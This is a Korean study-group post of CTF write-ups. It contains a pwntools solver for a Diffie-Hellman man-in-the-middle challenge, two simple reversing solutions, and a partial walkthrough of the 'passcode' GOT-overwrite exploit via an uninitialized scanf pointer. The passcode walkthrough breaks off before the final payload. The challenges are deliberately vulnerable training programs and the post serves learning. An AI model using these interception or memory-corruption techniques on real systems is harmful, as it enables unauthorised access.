[CAUTION] ์Šคํ„ฐ๋”” - 11

13 ๋ถ„ ์†Œ์š”

๐Ÿ’ก Caution ์Šคํ„ฐ๋”” 11ํšŒ์ฐจ

์•”ํ˜ธํ•™ - 1

Textbook-DH

#!/usr/bin/python3
from Cryptodome.Util.number import getPrime
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Cipher import AES
import hashlib
import random

class Person(object):
    def __init__(self, p):
        self.p = p
        self.g = 2
        self.x = random.randint(2, self.p - 1)
    
    def calc_key(self):
        self.k = pow(self.g, self.x, self.p)
        return self.k

    def set_shared_key(self, k):
        self.sk = pow(k, self.x, self.p)
        aes_key = hashlib.md5(str(self.sk).encode()).digest()
        self.cipher = AES.new(aes_key, AES.MODE_ECB)

    def encrypt(self, pt):
        return self.cipher.encrypt(pad(pt, 16)).hex()

    def decrypt(self, ct):
        return unpad(self.cipher.decrypt(bytes.fromhex(ct)), 16)

flag = open("flag", "r").read().encode()
prime = getPrime(1024)
print(f"Prime: {hex(prime)}")
alice = Person(prime)
bob = Person(prime)

alice_k = alice.calc_key()
print(f"Alice sends her key to Bob. Key: {hex(alice_k)}")
print("Let's inturrupt !")
alice_k = int(input(">> "))
if alice_k == alice.g:
    exit("Malicious key !!")
bob.set_shared_key(alice_k)

bob_k = bob.calc_key()
print(f"Bob sends his key to Alice. Key: {hex(bob_k)}")
print("Let's inturrupt !")
bob_k = int(input(">> "))
if bob_k == bob.g:
    exit("Malicious key !!")
alice.set_shared_key(bob_k)

print("They are sharing the part of flag")
print(f"Alice: {alice.encrypt(flag[:len(flag) // 2])}")
print(f"Bob: {bob.encrypt(flag[len(flag) // 2:])}")

๋””ํ”ผ ํ—ฌ๋งŒ์˜ ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ์„ ์ด์šฉํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜๋Š” ๋ฌธ์ œ์ด๋‹ค.

์ „์ฒด ๊ณต๊ฒฉ ํ”„๋กœ์„ธ์Šค๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

image

  1. attacker๋Š” ์ค‘๊ฐ„์—์„œ alice๊ฐ€ bob์—๊ฒŒ ๋ณด๋‚ด๋Š” 2^a mod p๋ฅผ ๋ฐ›๋Š”๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด ๊ฐ’์„ ์ €์žฅํ•œ๋‹ค.
  2. attacker๋Š” alice์—๊ฒŒ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐ›๊ณ  bob์—๊ฒŒ๋Š” 2^5 mod p๋ฅผ ์ „์†กํ•œ๋‹ค.bob์€ attacker์—๊ฒŒ ๋ฐ›์€ 2^5 mod p๋ฅผ ํ†ตํ•ด์„œ (2^5)b mod p๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ attacker <-> bob์˜ ๊ณต์œ ํ‚ค๋ฅผ ๊ณ„์‚ฐํ•ด ๋‚ธ๋‹ค.
  3. bob์€ 2^b mod p ๋ฅผ ์ „์†กํ•œ๋‹ค. attacker๋Š” ์ด๋ฅผ ๋ฐ›๊ณ  attacker <-> bob์˜ ๊ณต์œ ํ‚ค์ธ (2^b)^5 mod p ๋ฅผ ๊ณ„์‚ฐํ•˜์—ฌ ๊ณต์œ ํ‚ค๋ฅผ ๊ตฌํ•œ๋‹ค.
  4. ๋งˆ์ง€๋ง‰์œผ๋กœ attacker๋Š” alice์—๊ฒŒ 2^5 mod p ๋ฅผ ์ „์†กํ•˜์—ฌ attacker <-> alice๋Š” (2^a)^5 mod p ๋ฅผ ๊ณต์œ ํ‚ค๋กœ ๊ณ„์‚ฐํ•œ๋‹ค.

์ด๋ ‡๊ฒŒ ํ•˜์—ฌ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด Attacker <=> alice, Attacker <=> bob ๊ฐ„์— ํ†ต์‹ ์ด ๋˜๋Š” ๊ฒƒ์ด๋ฉฐ ์ด์™€๊ฐ™์€ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ์ด์œ ๋Š” ๋””ํ”ผ ํ—ฌ๋งŒ์˜ ์•ฝ์ ์ธ ์ง€๊ธˆ ํ‚ค ๊ตํ™˜์„ ํ•˜๋Š” ์ƒ๋Œ€๊ฐ€ ์ง„์งœ ๊ทธ ์ƒ๋Œ€์ธ์ง€๋ฅผ ํ™•์ธํ•˜๋Š” โ€˜์ธ์ฆโ€™๊ธฐ๋Šฅ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

์œ„์˜ ์ ˆ์ฐจ๋Œ€๋กœ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

sol.py

#!/usr/bin/python3
from pwn import *

from Cryptodome.Util.number import getPrime
from Cryptodome.Util.Padding import pad, unpad
from Cryptodome.Cipher import AES
import hashlib
import random

class Person(object):
    def __init__(self, p):
        self.p = p
        self.g = 2
        self.x = 5
    
    def calc_key(self):
        self.k = pow(self.g, self.x, self.p)
        return self.k

    def set_shared_key(self, k):
        self.sk = pow(k, self.x, self.p)
        aes_key = hashlib.md5(str(self.sk).encode()).digest()
        self.cipher = AES.new(aes_key, AES.MODE_ECB)

    def encrypt(self, pt):
        return self.cipher.encrypt(pad(pt, 16)).hex()

    def decrypt(self, ct):
        return unpad(self.cipher.decrypt(bytes.fromhex(ct)), 16)

p = remote("host1.dreamhack.games",17625)
# context.log_level = 10

# get prime
p.recvuntil(b"Prime: ")
prime = int(p.recvline()[:-1],16)

attacker_Alice = Person(prime)
attacker_Bob = Person(prime)

# set key Attacker <=> Alice
p.recvuntil(b"Alice sends her key to Bob. Key: ")
alice_public = int(p.recvline()[:-1],16)
attacker_Alice.set_shared_key(alice_public)

p.sendafter(b">> ",b'32\n')

# set key Attacker <=> Bob
p.recvuntil(b"Bob sends his key to Alice. Key: ")
bob_public = int(p.recvline()[:-1],16)
attacker_Bob.set_shared_key(bob_public)

p.sendafter(b">> ",b'32\n')

# decrypt flag
p.recvuntil(b"Alice: ")
alice_encrypt_message = p.recvline()[:-1].decode()
p.recvuntil(b"Bob: ")
bob_encrypt_message = p.recvline()[:-1].decode()

flag=''
flag = attacker_Alice.decrypt(alice_encrypt_message)
flag += attacker_Bob.decrypt(bob_encrypt_message)

print("FLAG : {}".format(flag))

์‹คํ–‰ํ•˜๋ฉด ๋‹ค์Œ๊ณผ๊ฐ™์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

image

๋ฆฌ๋ฒ„์‹ฑ - 1

Keygen

ํ”„๋กœ๊ทธ๋žจ์„ ์‹œ์ž‘ํ•ด ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด Input flag๋ฅผ ์ž…๋ ฅํ•˜๋ผ๊ณ  ๋‚˜์˜จ๋‹ค.

image

IDA๋กœ Input flag๋ฅผ ํ…์ŠคํŠธ๋กœ ์ฐพ์•„๋ณธ๋‹ค.[Search] -> [text]

image

ํ•ด๋‹น ํ…์ŠคํŠธ๋ฅผ ์ฐธ์กฐํ•˜๊ณ  ์žˆ๋Š” ํ•จ์ˆ˜๋ฅผ ๋ถ„์„ ํ•ด๋ณธ๋‹ค.

__int64 sub_1400011C0()
{
  signed int i; // [rsp+20h] [rbp-48h]
  char Buf2; // [rsp+28h] [rbp-40h]
  char v3; // [rsp+29h] [rbp-3Fh]
  char v4; // [rsp+2Ah] [rbp-3Eh]
  char v5; // [rsp+2Bh] [rbp-3Dh]
  char v6; // [rsp+2Ch] [rbp-3Ch]
  char v7; // [rsp+2Dh] [rbp-3Bh]
  char v8; // [rsp+2Eh] [rbp-3Ah]
  char v9; // [rsp+2Fh] [rbp-39h]
  char v10; // [rsp+30h] [rbp-38h]
  char v11; // [rsp+31h] [rbp-37h]
  char v12; // [rsp+32h] [rbp-36h]
  char v13; // [rsp+33h] [rbp-35h]
  char v14; // [rsp+34h] [rbp-34h]
  char v15; // [rsp+35h] [rbp-33h]
  char v16; // [rsp+36h] [rbp-32h]
  char v17; // [rsp+37h] [rbp-31h]
  char v18; // [rsp+38h] [rbp-30h]
  char v19; // [rsp+39h] [rbp-2Fh]
  char v20; // [rsp+3Ah] [rbp-2Eh]
  char v21; // [rsp+3Bh] [rbp-2Dh]
  char v22; // [rsp+3Ch] [rbp-2Ch]
  char Buf1[24]; // [rsp+40h] [rbp-28h]

  Buf2 = 63;
  v3 = 59;
  v4 = 70;
  v5 = 74;
  v6 = 68;
  v7 = 110;
  v8 = 118;
  v9 = 56;
  v10 = 100;
  v11 = 119;
  v12 = 56;
  v13 = 108;
  v14 = 82;
  v15 = 117;
  v16 = 108;
  v17 = 121;
  v18 = 82;
  v19 = 109;
  v20 = 109;
  v21 = 116;
  v22 = 0;
  memset(Buf1, 0, 0x15ui64);
  sub_140001070(aS_1, aInputFlag);
  sub_140001140(aS, Buf1);
  for ( i = 0; i < 20; ++i )
  {
    Buf1[i] ^= 0x11u;
    Buf1[i] ^= 0x1Bu;
    Buf1[i] -= 3;
  }
  if ( !memcmp(Buf1, &Buf2, 0x14ui64) )
    sub_140001070(aS_0, aGoodThisIsFlag);
  else
    sub_140001070(&unk_140004038, aNoThisIsNotFla);
  return 0i64;
}

๋ญ”๊ฐ€ ๊ธธ์–ด ๋ณด์ด์ง€๋งŒ, ์˜†์— rbp๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์Šคํƒ์„ ๋ถ„์„ํ•ด๋ณด๋ฉด,v3 ~ v22 ๊นŒ์ง€๋Š” ์ „๋ถ€ buf2์ฃผ์†Œ์—์„œ ์‹œ์ž‘ํ•˜๋Š” ๋ฌธ์ž์—ด ์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ฝ”๋“œ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ค„์ผ ์ˆ˜ ์žˆ๋‹ค.

__int64 sub_1400011C0()
{
  signed int i; // [rsp+20h] [rbp-48h]
  char Buf2; // [rsp+28h] [rbp-40h] // ์ดˆ๊ธฐํ™”. ์œ„ ์ฐธ์กฐ

  memset(Buf1, 0, 0x15ui64);
  sub_140001070(aS_1, aInputFlag);
  sub_140001140(aS, Buf1);

  // ์œ„์— 3๊ฐœ๊ฐ€ buf1์— ์‚ฌ์šฉ์ž input์„ ๋‹ด๋Š” ํ•จ์ˆ˜

  for ( i = 0; i < 20; ++i )
  {
    Buf1[i] ^= 0x11u;
    Buf1[i] ^= 0x1Bu;
    Buf1[i] -= 3;
  }

  // for๋ฌธ์„ ๋Œ๋ฉด์„œ buf1 20๊ฐœ์— ๋Œ€ํ•ด ์—ฐ์‚ฐ ์ˆ˜ํ–‰

  if ( !memcmp(Buf1, &Buf2, 0x14ui64) )
    // ์—ฐ์‚ฐ์ด ๋๋‚œ buf1๊ณผ buf2์˜ ๊ฒฐ๊ณผ๊ฐ€ ๊ฐ™์œผ๋ฉด Clear
    sub_140001070(aS_0, aGoodThisIsFlag);
  else
    sub_140001070(&unk_140004038, aNoThisIsNotFla);
  return 0i64;
}

์‚ฌ์šฉ์ž input์— ๋Œ€ํ•ด์„œ for๋ฌธ ์—ฐ์‚ฐ์„ ์ˆ˜ํ–‰ํ•˜๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ buf2์™€ ๊ฐ™์€์ง€ ๋น„๊ตํ•˜๋Š” ๋กœ์ง์ด๋‹ค.

ํ˜„์žฌ buf2 ๋ฐฐ์—ด์˜ ๊ฐ’์€ ์•Œ๊ธฐ ๋•Œ๋ฌธ์— for๋ฌธ ์—ฐ์‚ฐ์„ ๊ฑฐ๊พธ๋กœ buf2์— ์ ์šฉํ•˜๋ฉด, buf1 ๊ฐ’์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

buf2 = [63,59,70,74,68,110,118,56,100,119,56,108,82,117,108,121,82,109,109,116]
buf1 = ''

for i in buf2:
    tmp = i + 3
    tmp ^= 27
    tmp ^= 17
    buf1 += chr(tmp)


for i in buf1:
    print(i,end='')

์‹คํ–‰ํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

๋ฆฌ๋ฒ„์‹ฑ - 2

rev-basic-1

ํ”„๋กœ๊ทธ๋žจ์„ ์‹œ์ž‘ํ•˜๋ฉด ์‚ฌ์šฉ์ž input์„ ๋ฐ›๋Š”๋‹ค.

image

IDA๋ฅผ ์ผœ์„œ Input ๋ฌธ์ž์—ด์„ ์ฐพ๋Š”๋‹ค. [Search] -> [Text]

image

ํ•ด๋‹น ๋ฌธ์ž์—ด์„ ์ฐธ์กฐํ•˜๊ณ  ์žˆ๋Š” ํ•จ์ˆ˜ sub_140001350์„ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

__int64 sub_140001350()
{
  char v1; // [rsp+20h] [rbp-118h]

  memset(&v1, 0, 0x100ui64);
  sub_1400013E0("Input : ");
  sub_140001440("%256s", &v1);
  if ( (unsigned int)sub_140001000(&v1) )
    puts("Correct");
  else
    puts("Wrong");
  return 0i64;
}

v1์— input์„ ์ €์žฅํ•˜๊ณ , sub_140001000 ํ•จ์ˆ˜์— v1์„ ๋„˜๊ฒจ์ค€ ๋‹ค์Œ ๊ทธ ๊ฒฐ๊ณผ๊ฐ€ true๋ฉด correct๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

sub_140001000 ํ•จ์ˆ˜๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

_BOOL8 __fastcall sub_140001000(_BYTE *a1)
{
  if ( *a1 != 67 )
    return 0i64;
  if ( a1[1] != 111 )
    return 0i64;
  if ( a1[2] != 109 )
    return 0i64;
  if ( a1[3] != 112 )
    return 0i64;
  if ( a1[4] != 97 )
    return 0i64;
  if ( a1[5] != 114 )
    return 0i64;
  if ( a1[6] != 51 )
    return 0i64;
  if ( a1[7] != 95 )
    return 0i64;
  if ( a1[8] != 116 )
    return 0i64;
  if ( a1[9] != 104 )
    return 0i64;
  if ( a1[10] != 101 )
    return 0i64;
  if ( a1[11] != 95 )
    return 0i64;
  if ( a1[12] != 99 )
    return 0i64;
  if ( a1[13] != 104 )
    return 0i64;
  if ( a1[14] != 52 )
    return 0i64;
  if ( a1[15] != 114 )
    return 0i64;
  if ( a1[16] != 97 )
    return 0i64;
  if ( a1[17] != 99 )
    return 0i64;
  if ( a1[18] != 116 )
    return 0i64;
  if ( a1[19] != 51 )
    return 0i64;
  if ( a1[20] == 114 )
    return a1[21] == 0;
  return 0i64;
}

๋‹จ์ˆœํžˆ ๋ฐฐ์—ด์˜ ์ธ๋ฑ์Šค์— ํ•ด๋‹นํ•˜๋Š” ๊ฐ’์ด ๊ฐ™์€์ง€๋งŒ ๋น„๊ตํ•˜๊ณ  ์žˆ๋‹ค. ์œ„์˜ ๋‚ด์šฉ์„ ํŒŒ์ด์ฌ ์ฝ”๋“œ๋กœ ์ž‘์„ฑํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

a1 = [67,111,109,112,97,114,51,95,116,104,101,95,99,104,52,114,97,99,116,51,114]

for i in a1:
    print(chr(i),end='')

์‹คํ–‰ํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

image

์‹œ์Šคํ…œ - 1

passcode

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด login ํ•จ์ˆ˜์˜ ๋‹ค์Œ ๋ถ€๋ถ„์ด ์ž˜๋ชป ์ฝ”๋”ฉ๋˜์—ˆ๋‹ค.

- printf("enter passcode1 : ");
- scanf("%d", passcode1);
- fflush(stdin);

์›๋ž˜ ์ •์ƒ์ ์œผ๋กœ scanf ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋ ค๋ฉด, ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๊ฐ’์„ ๋„˜๊ฒจ ์ฃผ๊ธฐ ์œ„ํ•ด์„œ &passcode1๊ณผ ๊ฐ™์ด ๋ณ€์ˆ˜๋ฅผ ๋„˜๊ฒจ์ค˜์•ผ ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ํ˜„์žฌ ๋ฌธ์ œ์—์„œ๋Š” passcode1๋กœ ๋ณ€์ˆ˜๋ฅผ ๋„˜๊ฒจ์ฃผ๊ณ  ์žˆ๋‹ค. ์ด๋ ‡๊ฒŒ ๋˜๋ฉด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ• ๊นŒ?

๋ฉ”๋ชจ๋ฆฌ ์ƒ์— passcode๋ณ€์ˆ˜์˜ ์ฃผ์†Œ๊ฐ€ 0xaabb, ๋“ค์–ด์žˆ๋Š” ๊ฐ’์ด 0xccdd๋ผ๊ณ  ํ•˜์ž.

image

๊ธฐ์กด scanf ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด, 0xaabb ์ฃผ์†Œ์— ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์ด ๋“ค์–ด๊ฐ€๊ฒŒ ๋œ๋‹ค. ํ•˜์ง€๋งŒ, ํ˜„์žฌ๋Š” 0xccdd ์ฃผ์†Œ์— ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ ๊ฐ’์ด ์ž…๋ ฅ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

์ฆ‰ ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š์€ passcode1 ์ฃผ์†Œ์— ์กด์žฌํ•˜๋Š” ํŠน์ • ๊ฐ’์„ ์ฃผ์†Œ๋กœ ํ•˜์—ฌ ์ ‘๊ทผํ•˜๊ฒŒ ๋œ๋‹ค. ์ด ๊ฐ’์„ ํ‰์†Œ์—๋Š” dummy๊ฐ’์œผ๋กœ ์ทจ๊ธ‰ํ•˜์ง€๋งŒ ์ •ํ™•ํ•˜๊ฒŒ๋Š” ์ด์ „์— ์‚ฌ์šฉ๋œ ๊ฐ’์ด ๊ทธ๋Œ€๋กœ ๋ฉ”๋ชจ๋ฆฌ์— ๋‚จ์•„์žˆ๊ฒŒ ๋œ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๊ทธ๋ฆผ์—์„œ 0xaabb์ฃผ์†Œ์— ์ €์žฅ๋˜๋Š” ๊ฐ’์„ ์ด์ „์— ๋ฏธ๋ฆฌ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, ๊ทธ๋ฆผ์—์„œ 0xccdd๊ฐ€ ์•„๋‹Œ ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์„ ๋ฉ”๋ชจ๋ฆฌ์— ์ €์žฅํ•ด๋‘๊ณ  scanf๋กœ ํ•ด๋‹น ์ฃผ์†Œ์— ๋‚ด๊ฐ€ ์›ํ•˜๋Š” ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

main ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด welcome() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  login()ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. ์ฆ‰ welcome()ํ•จ์ˆ˜์—์„œ ์‚ฌ์šฉ๋œ ์Šคํƒ ๊ณต๊ฐ„๊ณผ login()ํ•จ์ˆ˜์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์Šคํƒ ๊ณต๊ฐ„์ด ๊ฒน์นœ๋‹ค.

๋”ฐ๋ผ์„œ welcome()ํ•จ์ˆ˜์™€ login()ํ•จ์ˆ˜์˜ ์Šคํƒ์„ ๋น„๊ตํ•ด์•ผ ํ•œ๋‹ค.

๋จผ์ € welcome ํ•จ์ˆ˜๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ” ํ•œ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gdb-peda$ disass welcome
Dump of assembler code for function welcome:
   0x08048609 <+0>:     push   ebp
   0x0804860a <+1>:     mov    ebp,esp
   0x0804860c <+3>:     sub    esp,0x88     //์ด 136๋ฐ”์ดํŠธ ๊ณต๊ฐ„ ์‚ฌ์šฉ
   0x08048612 <+9>:     mov    eax,gs:0x14
   0x08048618 <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804861b <+18>:    xor    eax,eax
   0x0804861d <+20>:    mov    eax,0x80487cb
   0x08048622 <+25>:    mov    DWORD PTR [esp],eax
   0x08048625 <+28>:    call   0x8048420 <printf@plt>
   0x0804862a <+33>:    mov    eax,0x80487dd
   0x0804862f <+38>:    lea    edx,[ebp-0x70] //ebp-112 ์ฃผ์†Œ๊ฐ€ name[100] ๊ณต๊ฐ„
   0x08048632 <+41>:    mov    DWORD PTR [esp+0x4],edx
   0x08048636 <+45>:    mov    DWORD PTR [esp],eax
   0x08048639 <+48>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804863e <+53>:    mov    eax,0x80487e3
   0x08048643 <+58>:    lea    edx,[ebp-0x70]
   0x08048646 <+61>:    mov    DWORD PTR [esp+0x4],edx
   0x0804864a <+65>:    mov    DWORD PTR [esp],eax
   0x0804864d <+68>:    call   0x8048420 <printf@plt>
   0x08048652 <+73>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048655 <+76>:    xor    eax,DWORD PTR gs:0x14
   0x0804865c <+83>:    je     0x8048663 <welcome+90>
   0x0804865e <+85>:    call   0x8048440 <__stack_chk_fail@plt>
   0x08048663 <+90>:    leave
   0x08048664 <+91>:    ret
End of assembler dump.

login()ํ•จ์ˆ˜๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”ํ•œ ๊ฒฐ๊ณผ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

gdb-peda$ disass login
Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28 //์ด 40๋ฐ”์ดํŠธ ๊ณต๊ฐ„
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6 //passcode1์€ ebp-16
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9 //passcode2๋Š” ebp-12
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
End of assembler dump.

๋””์Šค์–ด์…ˆ๋ธ” ๋‚ด์šฉ์„ ํ† ๋Œ€๋กœ ์Šคํƒ์„ ๋น„๊ตํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. ๋‘๊ฐœ์˜ ํ•จ์ˆ˜์—์„œ EBP ๊ฐ’์€ ์„œ๋กœ ๊ฐ™๋‹ค.

image

๊ทธ๋ฆผ์„ ๋ณด๋ฉด ์•Œ๊ฒ ์ง€๋งŒ, Name[100]์—์„œ ์ž‘์„ฑ๋œ ๋งˆ์ง€๋ง‰ 4byte์— ์“ฐ์—ฌ์ง„ ๋‚ด์šฉ์ด ์žฌ์‚ฌ์šฉ๋˜์–ด login()ํ•จ์ˆ˜์—์„œ ์ž…๋ ฅ๋˜๋Š” ๊ฐ’์˜ ์ฃผ์†Œ๊ฐ€ ๋˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜์žˆ๋‹ค.

๋”ฐ๋ผ์„œ Name[100]์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ•˜๋ฉด ๋œ๋‹ค.

dummy[96] + "๋‚ด๊ฐ€ ๋ณ€๊ฒฝํ•˜๊ณ  ์‹ถ์€ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ 4byte"

์ด๋ ‡๊ฒŒ ์„ค์ •ํ•ด ์ฃผ๋ฉด scanf์—์„œ ์ž…๋ ฅ๋œ ๊ฐ’์ด ๋‚ด๊ฐ€ ๋ณ€๊ฒฝํ•˜๊ณ  ์‹ถ์€ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ์— ๊ฐ’์„ ์ €์žฅํ•˜๊ฒŒ ๋œ๋‹ค.

๊ทธ๋Ÿฌ๋ฉด ์ด์ œ 1) ์–ด๋– ํ•œ ์ฃผ์†Œ์— 2) ์–ด๋– ํ•œ ๊ฐ’์„ ๋„ฃ์–ด์•ผ ํ•  ์ง€ ์ƒ๊ฐํ•ด ๋ด์•ผํ•œ๋‹ค.

PLT,GOT

loginํ•จ์ˆ˜ ๋‚ด์—์„œ scanf๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ ๋‚˜์„œ fflush์˜ plt๋ฅผ ์ฐธ์กฐํ•˜์—ฌ got ํ…Œ์ด๋ธ”๋กœ ์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ์‹ค์ œ fflush ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๋ฐ›์•„์˜จ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด์„œ fflush์˜ got๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ fflush ํ•จ์ˆ˜๊ฐ€ ์•„๋‹Œ ๋‹ค๋ฅธ ๊ณณ์œผ๋กœ ํ”„๋กœ๊ทธ๋žจ์˜ ์ˆ˜ํ–‰์„ ๋ณ€๊ฒฝ์‹œํ‚จ๋‹ค.

   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>

fflush@plt๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” 0x08048430๋ถ€๋ถ„์„ ๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. 0x804a004์— ์ €์žฅ๋œ ๊ฐ’์œผ๋กœ jmp๋ฅผ ์‹œ๋„ํ•˜๊ณ  ์žˆ๋‹ค. ์—ฌ๊ธฐ์„œ 0x804a0040๊ฐ€ fflush์˜ got์ด๋‹ค.

gdb-peda$ x/4i 0x8048430
   0x8048430 <fflush@plt>:      jmp    DWORD PTR ds:0x804a004
   0x8048436 <fflush@plt+6>:    push   0x8
   0x804843b <fflush@plt+11>:   jmp    0x8048410
   0x8048440 <__stack_chk_fail@plt>:    jmp    DWORD PTR ds:0x804a008

